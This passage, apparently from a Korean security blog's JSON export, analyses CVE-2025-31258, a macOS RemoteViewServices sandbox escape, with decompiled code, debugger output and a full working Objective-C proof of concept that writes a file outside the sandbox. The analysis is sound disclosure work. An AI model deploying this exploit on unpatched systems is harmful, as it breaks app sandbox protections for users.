\uc548\ub41c\ub2e4.<\/p>\n\n\n\n<p>\uc774\ud6c4\ub85c\ub294 _APP_SANDBOX_READ_WRITE \ub9e4\uac1c\ubcc0\uc218\uc640 \ud568\uaf10 sandbox_extension_issue_file \ud638\ucd9c\ub418\uc5b4 \/Users\/seo\/Documents copy 1337 \ud30c\uc77c\uc744 \uc77d\uae30\/\uc4f0\uae30 \ud560 \uc218 \uc788\ub294 \uad8c\ud55c\uc744 \uac00\uc9c0\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<p>\uc989 \/Users\/seo\/Documents\uc5d0 \uc77d\uae30 \uad8c\ud55c\ub9cc \uc8fc\uc5b4\uc84c\uc9c0\ub9cc, Documents \ud3f4\ub354\ub97c \ubc97\uc5b4\ub09c \/User\/seo\uc5d0 \uc0c8\ub85c\uc6b4 \ud30c\uc77c\uc778 Documents copy 1337 \ud30c\uc77c \ub610\ub294 \ud3f4\ub354\ub97c \uc0dd\uc131\uc2dc\ud0ac \uc218 \uc788\uac8c\ub41c \uc148\uc774\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">       else\n        {\nLABEL_19:\n          v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&amp;OBJC_CLASS___NSFileManager, \"defaultManager\", v20));\n          v25 = -[NSFileManager fileExistsAtPath:](v24, \"fileExistsAtPath:\", v51);\n          objc_release(v24);\n          if ( (v25 &amp; 1) != 0 )\n          {\n            v23 = objc_retainAutoreleasedReturnValue(\n                    +[NSError errorWithDomain:code:userInfo:](\n                      &amp;OBJC_CLASS___NSError,\n                      \"errorWithDomain:code:userInfo:\",\n                      NSPOSIXErrorDomain,\n                      17,\n                      0));\n            v13 = objc_autorelease(v23);\n            *v62 = v23;\n            v66 = 0;\n            v57 = 1;\n          }\n          else\n          {\n            v22 = v51;\n            v14 = objc_retainAutorelease(v51);\n            objc_msgSend(v22, \"UTF8String\");\n            v48 = (void *)sandbox_extension_issue_file();\n            if ( v48 )\n            {\n              v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&amp;OBJC_CLASS___NSString, \"stringWithUTF8String:\", v48));\n              v17 = v61;\n              v61 = v16;\n              objc_release(v17);\n              free(v48);\n              v66 = objc_retain(v61);\n            }\n            else\n            {\n              v21 = objc_retainAutoreleasedReturnValue(\n                      +[NSError errorWithDomain:code:userInfo:](\n                        &amp;OBJC_CLASS___NSError,\n                        \"errorWithDomain:code:userInfo:\",\n                        NSPOSIXErrorDomain,\n                        *__error(),\n                        0));\n              v15 = objc_autorelease(v21);\n              *v62 = v21;\n              v66 = 0;\n            }\n            v57 = 1;\n          }\n        }\n        objc_storeStrong(&amp;v51, 0);\n        objc_storeStrong(&amp;v52, 0);\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(lldb) c\nProcess 958 resuming\nProcess 958 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 22.1\n    frame #0: 0x0000000100743d90 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1620\ncom.apple.security.pboxd`___lldb_unnamed_symbol509:\n->  0x100743d90 &lt;+1620>: bl     0x10074dc00\n    0x100743d94 &lt;+1624>: mov    x8, x0\n    0x100743d98 &lt;+1628>: ldr    x0, [sp, #0x58]\n    0x100743d9c &lt;+1632>: str    w8, [sp, #0x64]\nTarget 0: (com.apple.security.pboxd) stopped.\n(lldb) po $x0\n&lt;NSFileManager: 0x100bc2900>\n\n(lldb) po $x1\n&lt;nil>\n\n(lldb) po $x2\n\/Users\/seo\/Documents copy 1337\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">PoC code<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/\n\/\/  ViewController.m\n\/\/  CVE-2025-31258\n\/\/\n\/\/  Created by seo on 5\/13\/25.\n\/\/\n\n#import \"ViewController.h\"\n#import &lt;dlfcn.h>\n#import &lt;sandbox.h>\n#import &lt;xpc\/xpc.h>\n\n@interface NSDocument (Private)\n+ (BOOL)_validateDuplicateDocumentName:(NSString *)dupName\n                      withOriginalName:(NSString *)origName;\n@end\n\nint writeFileAtPath(const char *path, const char *content) {\n    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    if (fd == -1) {\n        perror(\"open\");\n        return 1;\n    }\n\n    ssize_t bytes_written = write(fd, content, strlen(content));\n    if (bytes_written == -1) {\n        perror(\"write\");\n        close(fd);\n        return 1;\n    }\n\n    if (close(fd) == -1) {\n        perror(\"close\");\n        return 1;\n    }\n\n    return 0;\n}\n\nint64_t PBOXDuplicateRequest(NSURL *a1, NSURL *a2, NSError *a3) {\n    void *rvs = dlopen(\"\/System\/Library\/PrivateFrameworks\/\"\n                           \"RemoteViewServices.framework\/RemoteViewServices\",\n                           RTLD_NOW);\n    void *func_ptr = dlsym(rvs, \"PBOXDuplicateRequest\");\n\n    typedef int (*custom_func_t)(NSURL *, NSURL *, NSError *);\n    custom_func_t func = (custom_func_t)func_ptr;\n\n    return func(a1, a2, a3);\n}\n\nint poc(void) {\n    NSString *documentsPath = [NSString stringWithFormat:@\"\/Users\/%@\/Documents\", NSUserName()];\n    \/\/_validateDuplicateDocumentName:withOriginalName: arg2\n    NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];\n\n    NSString *copiedPath =\n    [NSString stringWithFormat:@\"\/Users\/%@\/Documents copy 1337\", NSUserName()]; \/\/_validateDuplicateDocumentName:withOriginalName: arg1\n    NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];\n    \n    NSError *_error = nil;\n\n    int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);\n    NSLog(@\"PBOXDuplicateRequest _error: %@\\\\n\", _error);\n    printf(\"PBOXDuplicateRequest result: %lld\\\\n\", result);\n\n    return 0;\n}\n\nvoid grant_read_permission_to_documents(void) {\n    NSString *documentsPath = [NSString stringWithFormat:@\"\/Users\/%@\/Documents\", NSUserName()];\n    \n    NSOpenPanel *panel = [NSOpenPanel openPanel];\n    [panel setCanChooseDirectories:YES];\n    [panel setCanChooseFiles:NO];\n    [panel setAllowsMultipleSelection:NO];\n    [panel setPrompt:@\"Please select Document folder to grant read for POC.\"];\n    [panel setDirectoryURL:[NSURL fileURLWithPath:documentsPath]];\n    \n    \n    if ([panel runModal] == NSModalResponseOK) {\n        NSURL *selectedFolderURL = [panel URL];\n        NSLog(@\"Selected Folder: %@\", selectedFolderURL.path);\n        if(![documentsPath isEqualToString:selectedFolderURL.path]) {\n            NSLog(@\"It's not document folder, exiting....\");\n            exit(1);\n        }\n    }\n}\n\n@implementation ViewController\n- (IBAction)do_poc:(NSButton *)sender {\n    \n    \n    grant_read_permission_to_documents();\n    \n    poc();\n    \n    NSString *copiedPath = [NSString stringWithFormat:@\"\/Users\/%@\/Documents copy 1337\", NSUserName()];\n    writeFileAtPath(copiedPath.UTF8String, \"Escaped Sandbox!\");\n}\n\n- (void)viewDidLoad {\n    [super viewDidLoad];\n}\n\n- (void)setRepresentedObject:(id)representedObject {\n    [super setRepresentedObject:representedObject];\n    \n}\n\n@end\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Demo<\/h2>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<div class=\"nv-iframe-embed\"><iframe loading=\"lazy\" title=\"CVE-2025-31258 demo\" width=\"1200\" height=\"900\" src=\"https:\/\/www.youtube.com\/embed\/GlReVUh_4W4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/div>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>http:\/\/support.apple.com\/ko-kr\/122716 \ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.5\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4. RemoteViewServices \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4. Diffing \/ Analysis \ucde8\uc57d\ud55c macOS 15.4.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c 15.5 \ub300\uc0c1\uc73c\ub85c \ub514\ud551\uc744 \uc9c4\ud589\ud558\uc600\ub2e4. \ucde8\uc57d\uc810\uc774 \ubc1c\uacac\ub41c&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3902\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[1day] CVE-2025-31258: RemoteViewServices: \uc0cc\ub4dc\ubc15\uc2a4 \uc678\uc758 \uc81c\ud55c\uc801 \ud30c\uc77c \uc4f0\uae30 \ucde8\uc57d\uc810<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[13],"class_list":["post-3902","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-macos"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3902","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3902"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3902\/revisions"}],"predecessor-version":[{"id":3905,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3902\/revisions\/3905"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}